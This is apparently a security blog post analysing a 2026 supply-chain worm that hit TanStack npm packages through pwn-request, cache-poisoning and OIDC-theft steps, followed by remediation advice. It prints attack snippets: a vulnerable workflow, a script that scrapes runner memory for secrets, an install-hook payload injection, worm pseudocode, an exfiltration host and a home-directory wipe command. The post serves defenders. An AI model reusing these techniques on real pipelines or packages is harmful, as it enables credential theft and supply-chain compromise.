What is TanStack?
Before we dissect the attack, let's understand why TanStack is such a high-value target. 🎯
TanStack is like a toolkit of premium power tools that React, Vue, and Solid developers reach for every single day. Need to manage server data? TanStack Query. Need client-side routing? TanStack Router. Need a fast data table? TanStack Table. These aren't optional extras — they're load-bearing parts of millions of production apps.
The packages at the center of this attack — @tanstack/react-router,
@tanstack/vue-router, @tanstack/router-core, and friends — are downloaded
tens of millions of times each week. When an attacker compromises them, they don't just reach one project;
they reach every developer who runs npm install in the next few hours. 😣
The Attack at a Glance
This wasn't a stolen password or a phishing email. The attacker — a threat group called TeamPCP (also tracked as DeadCatx3, PCPcat, ShellForce, CipherForce) — never logged in as a TanStack maintainer. Instead, they tricked TanStack's own legitimate release pipeline into publishing malicious packages on their behalf. 🤯
On May 11, 2026, between 19:20 and 19:26 UTC, 84 malicious package versions across 42
@tanstack/* npm packages were published using TanStack's own trusted publishing
identity — not by stealing credentials, but by hijacking the GitHub Actions runner mid-workflow.
Three vulnerabilities, chained together, turned a harmless pull request from a stranger into a full-blown supply chain compromise. Each vulnerability alone was insufficient — but together they bridged every trust boundary between an anonymous attacker and a trusted npm publisher. 🔗
This is the fourth wave of a campaign called Mini Shai-Hulud (named after the giant sandworms in the Dune universe 🐛). Each wave has been more sophisticated than the last, and this one achieved something unprecedented: publishing npm packages with valid cryptographic provenance — a first in the history of supply chain attacks.
Attack Timeline: From PR to Compromise
The attacker was patient. The groundwork was laid a full day before the malicious packages ever appeared on npm. 🕐
zblgg/configuration. The commit is authored as
claude <claude@users.noreply.github.com> to blend in.
A 30,000-line JavaScript file (vite_setup.mjs) is quietly included.
bundle-size.yml workflow runs on the PR, executing
the attacker's vite_setup.mjs. It poisons the shared pnpm package cache
with attacker-controlled binaries under the exact cache key the release pipeline will
later restore.
main branch kicks off
the release.yml workflow. It restores the poisoned pnpm cache — unknowingly
loading the attacker's malicious binaries into the release runner.
@tanstack/* packages — each carrying a hidden credential harvester and
a self-propagating worm. The workflow shows status: failure, yet npm
received every publish.
Step 1: The "Pwn Request" Trick
Here's where most developers get confused: how can a pull request from a random stranger cause real damage? GitHub is supposed to sandbox untrusted code, right? 🤔
Imagine your house has two front doors. One leads to the guest room — strangers can use it safely. The other leads to your bedroom where you keep your house keys. Normally, guests can only use the first door. But one workflow accidentally connected both doors. The attacker walked in through the "guest" door and found themselves standing next to your keys.
GitHub has two events for pull requests:
pull_request— runs workflows in a sandboxed context. No secrets, limited permissions. Safe for untrusted forks.pull_request_target— runs workflows with the base repository's full context: secrets, tokens, write access. Designed for things like posting CI status comments.
TanStack's bundle-size.yml used pull_request_target — and then made the
classic mistake of also checking out the fork's code: 😵
# bundle-size.yml — VULNERABLE PATTERN
on:
pull_request_target: # 🚨 Runs with BASE repo privileges
paths: ['packages/**', 'benchmarks/**']
jobs:
benchmark-pr:
steps:
- uses: actions/checkout@v6.0.2
with:
ref: refs/pull/${{ github.event.pull_request.number }}/merge
# ☠️ This checks out the ATTACKER'S code...
# ...but runs it with the BASE repo's privileges
- run: pnpm nx run @benchmarks/bundle-size:build
# 💥 Executes untrusted fork code in trusted context
pull_request_target while checking
out fork code is one of the most well-documented GitHub Actions vulnerabilities.
It's been the root cause of dozens of supply chain attacks since 2021, yet teams keep shipping it.
The attacker's fork included a massive vite_setup.mjs file. When
pnpm nx run @benchmarks/bundle-size:build ran, it loaded this file —
which looked like a bundler config but was actually a cache poisoning weapon. 🎯
Step 2: Cache Poisoning Across Trust Boundaries
Getting code to run during a PR check is interesting, but it doesn't directly let you publish npm packages. The attacker needed a way to persist their malicious code until the next official release. That's where GitHub Actions caching comes in — and it has a critical, under-appreciated flaw. 🔑
Think of the GitHub Actions cache like a shared storage locker at a gym. Trusted employees (your
release.yml workflow) and temporary visitors (PR workflows) both have access to the
same lockers. An attacker who gets a visitor pass can replace the tools in those lockers. When the
trusted employee shows up later and grabs their "usual tools," they're now holding the attacker's
tools.
Here's the flaw: GitHub Actions cache scope is per-repository — shared between
pull_request_target workflows AND pushes to main. And here's the kicker:
actions/cache@v5's post-job "save" step uses a runner-internal token — not the
workflow's GITHUB_TOKEN. This means setting
permissions: contents: read does NOT prevent cache writes.
Even a read-only workflow can poison the cache.
The attacker's vite_setup.mjs wrote attacker-controlled binaries to the pnpm package
store, then the post-job cache-save step helpfully preserved them under the exact cache key that
the release pipeline would restore hours later:
# Cache key poisoned by the attacker's PR workflow
Linux-pnpm-store-6f9233a50def742c09fde54f56553d6b449a535adf87d4083690539f49ae4da11
# When release.yml ran on main and did:
uses: actions/cache@v5
with:
key: Linux-pnpm-store-${{ hashFiles('pnpm-lock.yaml') }}
# It restored the poisoned cache — attacker binaries now on the release runner
By the time the legitimate release.yml workflow ran on May 11, it happily restored
the compromised cache. The attacker's code was now executing inside the release pipeline —
a pipeline with access to GitHub's OIDC token system. 🎯
Step 3: Stealing the Publishing Key from Memory
This is the most technically sophisticated part of the attack. With code running inside the release pipeline, the attacker still needed one thing: the credential to actually publish packages to npm. They didn't need to steal a password — they went after something much harder to protect. 😱
GitHub Actions runners are like bank tellers. Each teller briefly holds a temporary authorization code that lets them perform specific transactions — in this case, publishing npm packages. The attacker couldn't steal the code from a safe (it's never stored on disk). But the teller always has it in their hand while working. The attacker's move: pick the teller's pocket by reading their memory directly.
GitHub uses OIDC (OpenID Connect) tokens for trusted publishing — a short-lived credential that proves "this package was built by this GitHub repository's workflow." These tokens are passed as environment variables to the runner process and are never written to disk. But they do exist in process memory. 🔍
On Linux, every process's memory is accessible via /proc/<pid>/mem — if you
have the right permissions. The attacker's malicious code did this:
# Locate the GitHub Actions runner worker process
import os, re
# Find Runner.Worker PID via /proc/*/cmdline
for pid in os.listdir('/proc'):
try:
cmdline = open(f'/proc/{pid}/cmdline').read()
if 'Runner.Worker' in cmdline:
target_pid = pid
except: pass
# Read process memory maps, then dump memory contents
# Extract JSON objects matching GitHub's secret format:
# {"value":"...","isSecret":true}
pattern = r'"[^"]+":{"value":"[^"]*","isSecret":true}'
# This captures ALL secrets — even those GitHub "masks" in logs
# Masking only redacts log output, not in-memory values 💥
When GitHub masks a secret in workflow logs, it only replaces the value in the log output. The secret still exists in plain text in the runner process's memory. Reading
/proc/<pid>/mem gives you every secret — masked or not.
With the OIDC token in hand, the attacker exchanged it for per-package npm publish credentials
using npm's token exchange endpoint. The release workflow showed status: failure —
the tests didn't pass — but npm had already received 84 valid, signed, provenance-attested
publishes. 💀
The three vulnerabilities form a perfect chain: Pwn Request grants code execution → Cache Poisoning survives until the next release → OIDC memory extraction yields publish credentials. No single vulnerability was enough alone. Together, they handed an anonymous attacker the keys to one of npm's most trusted publishers.
What the Malware Actually Did
The malicious packages weren't just publishing proof-of-concept code. They deployed a serious, multi-stage payload that targeted developers and CI systems alike. 😣
How It Hid Inside the Package
Each compromised package included an optionalDependency pointing to an orphan GitHub
commit — a technique designed to slip past audits:
// Injected into each @tanstack/* package
{
"optionalDependencies": {
"@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}
}
// The orphan commit's package.json ran the payload:
{
"scripts": {
"prepare": "bun run tanstack_runner.js && exit 1"
// ↑ exit 1 makes install "fail" silently (optional dep)
// ↑ but the payload already ran 💥
}
}
When any developer or CI system ran npm install on an affected version, npm resolved
the optional dependency, fetched the orphan commit, and executed the prepare lifecycle
script — which ran a 2.3 MB obfuscated payload called router_init.js. 😱
Three Layers of Obfuscation
The payload was wrapped in three obfuscation layers to resist analysis:
Credential Harvesting
Once running, the payload targeted everything it could find on the host:
- 🔑 Cloud credentials: AWS IAM keys, GCP service accounts, Azure tokens, Kubernetes service account tokens
- 🔧 Developer tools:
~/.npmrc,~/.git-credentials, SSH private keys, Docker configs - 🤖 AI tool configs: Claude Code session history (
~/.claude/projects/*.jsonl), Kiro configurations - 💰 Crypto wallets: Bitcoin, Ethereum, Monero wallet files
- 🔒 HashiCorp Vault: Token files and API endpoints
How It Exfiltrated Data Without Being Detected
Rather than using a simple HTTP server (easily blocked by firewalls), the payload used two stealthy channels:
Data was encrypted with RSA-4096-OAEP + AES-256-GCM and sent to
filev2.getsession.org — a decentralized messaging network. Traffic looks
identical to encrypted messaging app traffic. IP blocking doesn't work; you need DNS-level blocks.
Stolen data was also committed to GitHub via GraphQL mutations, disguised as Dependabot updates. Commit author:
claude@users.noreply.github.com. Branch names used Dune terminology:
dependabout/.../fremen, dependabout/.../melange.
The Self-Propagating Worm
This is what made the attack a worm, not just malware. After stealing credentials, the payload spread to other packages automatically: 🐛
// 1. Find an npm token with bypass_2fa: true
token = findNpmTokenWithBypass2FA()
// 2. Enumerate all packages this maintainer owns
packages = fetch(`https://registry.npmjs.org/-/v1/search?text=maintainer:${user}`)
// 3. Exchange stolen GitHub OIDC token for per-package publish credentials
for (pkg of packages) {
publishCred = exchangeOIDCToken(stolenOIDCToken, pkg)
// 4. Publish a new infected version
publishWithPayload(pkg, publishCred)
// 5. Generate valid SLSA attestation for each infected publish
signWithSigstore(pkg)
}
This is how the worm spread beyond TanStack: to UiPath, Mistral AI, DraftAuth, Squawk aviation packages, and 100+ more — each with valid cryptographic provenance. 🌊
The Dead-Man's Switch 💀
The attackers added one final, cruel twist. A malicious npm token was created with the description:
IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwnerThis wasn't a bluff. Revoking the token triggered a destructive wipe routine (
rm -rf ~/) that would delete the entire home directory of the affected developer.
Defenders couldn't safely rotate credentials without first disabling the persistence hooks.
The SLSA Provenance Trap
This attack broke a fundamental assumption that many security teams have started relying on: "If a package has valid SLSA provenance, it's trustworthy." 🤔
SLSA provenance is like a certificate saying "this package was built in TanStack's factory on this date, using this assembly line." It's genuine — the certificate is not forged. But it says nothing about whether someone snuck onto the assembly line and added extra ingredients. The certificate tells you where it was built. It doesn't tell you whether the build process was safe.
The attacker triggered TanStack's legitimate release workflow. The workflow tests failed, so the normal publish step was skipped. But the attacker's code in the poisoned cache had already extracted the OIDC token and called Sigstore's Fulcio/Rekor APIs directly — generating valid Build Level 3 attestations for every malicious package, during the same workflow run window. 😱
Trusted publisher: Repository: tanstack/routerThis trusted any workflow in the repo — including ones triggered by attackers.
✅ The Secure Pattern:
Trusted publisher: Repository: tanstack/routerWorkflow: .github/workflows/release.ymlBranch: refs/heads/main
This is the first documented case of a malicious npm worm producing validly-attested packages. SLSA provenance is valuable — but it needs to be combined with behavioral analysis, dependency scanning, and anomaly detection. It cannot stand alone as a trust signal. 🎯
"SLSA provenance confirms which pipeline produced the artifact, not whether the pipeline was behaving as intended." — TanStack Postmortem
Detection & Response
Here's where the story gets both encouraging and concerning. The attack was stopped quickly — but entirely by an external researcher, not by TanStack's own monitoring. 😣
How It Was Caught
Security researcher ashishkurmi at StepSecurity detected anomalies in the newly published packages within approximately 20 minutes of publication. Behavioral analysis flagged all 84 artifacts within six minutes of publication, before human review even began. The attacker's mistake — breaking the workflow tests — made the malicious publishes loud enough to detect quickly.
npm pack @tanstack/react-router@1.169.5 --dry-runtar -xzf *.tgzgrep optionalDependencies package/package.jsonls -la package/router_init.jsIf you see a
router_init.js at the package root (not in dist/ or
src/), and the tarball is ~900 KB instead of ~190 KB, that's your red flag.
Indicators of Compromise
Affected Versions to Avoid
•
@tanstack/react-router: 1.169.5, 1.169.8•
@tanstack/vue-router: 1.169.5, 1.169.8•
@tanstack/history: 1.161.9, 1.161.12•
@tanstack/router-core: same version ranges• 38 additional
@tanstack/* packages — see GHSA-g7cv-rxg3-hmpx for the full list
If You Were Affected: Remediation Order Matters
Revoking the stolen npm token before removing the persistence hooks triggers a destructive
rm -rf ~/. Follow this order:
# Step 1: Disable dead-man's switch (macOS)
launchctl unload ~/Library/LaunchAgents/com.user.gh-token-monitor.plist
rm -f ~/Library/LaunchAgents/com.user.gh-token-monitor.plist
# Step 1: Disable dead-man's switch (Linux)
systemctl --user stop gh-token-monitor.service
rm -f ~/.config/systemd/user/gh-token-monitor.service
# Step 2: Remove IDE persistence hooks
rm -f .claude/router_runtime.js .claude/setup.mjs
# Inspect and clean .claude/settings.json manually
rm -f .vscode/setup.mjs
# Review .vscode/tasks.json for suspicious entries
# Step 3: Find dead-drop commits disguised as Dependabot
git log --all --author=claude@users.noreply.github.com
# Step 4: NOW rotate credentials (priority order)
# npm tokens → GitHub PATs → AWS → Vault → K8s → SSH → GCP
# Step 5: Purge GitHub Actions caches
gh api -X DELETE /repos/OWNER/REPO/actions/caches/{id}
Key Takeaways & How to Protect Yourself
This attack is a masterclass in how modern CI/CD trust models can be weaponized. Here's what every team managing an npm package — or depending on one — needs to take away. 💪
This is the root cause of a huge fraction of CI/CD supply chain attacks. Either use
pull_request (sandboxed), or use pull_request_target with a strict
repository_owner guard that rejects forks. Pin all actions/* to
specific commit SHAs, not tags.
GitHub Actions caches are shared between untrusted PR workflows and protected branch workflows.
Either purge caches after every PR or — better — keep release workflows in separate
repositories from those that accept external PRs. Set permissions: contents: read
but don't assume it prevents cache writes (it doesn't).
Don't trust a whole repository. Trust a specific workflow file on a specific branch. The
pattern: Workflow: .github/workflows/release.yml and
Branch: refs/heads/main. Scope id-token: write to only the
publish job, not the entire workflow.
Valid cryptographic attestations prove which workflow built the package. They don't prove that workflow was behaving as intended. Combine provenance with behavioral analysis (anomalous file names, size anomalies, unexpected outbound connections at install time) and known-bad signature databases.
This entire attack depended on prepare lifecycle scripts running during
npm install. Setting ignore-scripts=true in ~/.npmrc
breaks the kill chain for this class of attack. Also use allow-git=none in
npm v11+ to block git-URL dependencies entirely.
Setting min-release-age=7 in ~/.npmrc introduces a 7-day wait
before npm will auto-update packages. This simple setting would have meant zero developers
accidentally installed the malicious versions before they were deprecated — the entire
attack window was under 20 minutes.
GitHub's log masking is cosmetic — it hides secrets in workflow logs but not in runner
process memory. Any code running in the same environment as the runner can read all secrets
via /proc/<pid>/mem. The defense: prevent untrusted code from running
in the same context, period — not just restrict its permissions.
The Bigger Picture: Campaign History
TeamPCP has announced a partnership with the Vect ransomware group, per Unit 42 intelligence. This campaign is not over. 🔥
References & Resources
📖 Official Sources
🔬 Security Research
- StepSecurity — Full technical analysis (Mini Shai-Hulud)
- Aikido.dev — Mini Shai-Hulud campaign overview
- Snyk — TanStack packages compromised analysis
- Socket.dev — Supply chain attack breakdown
📰 News Coverage
- The Hacker News — Mini Shai-Hulud Worm coverage
- Cyber Kendra — TanStack packages hit by sophisticated attack
🛡️ Vulnerability Tracking
- CVE: CVE-2026-45321
- GHSA: GHSA-g7cv-rxg3-hmpx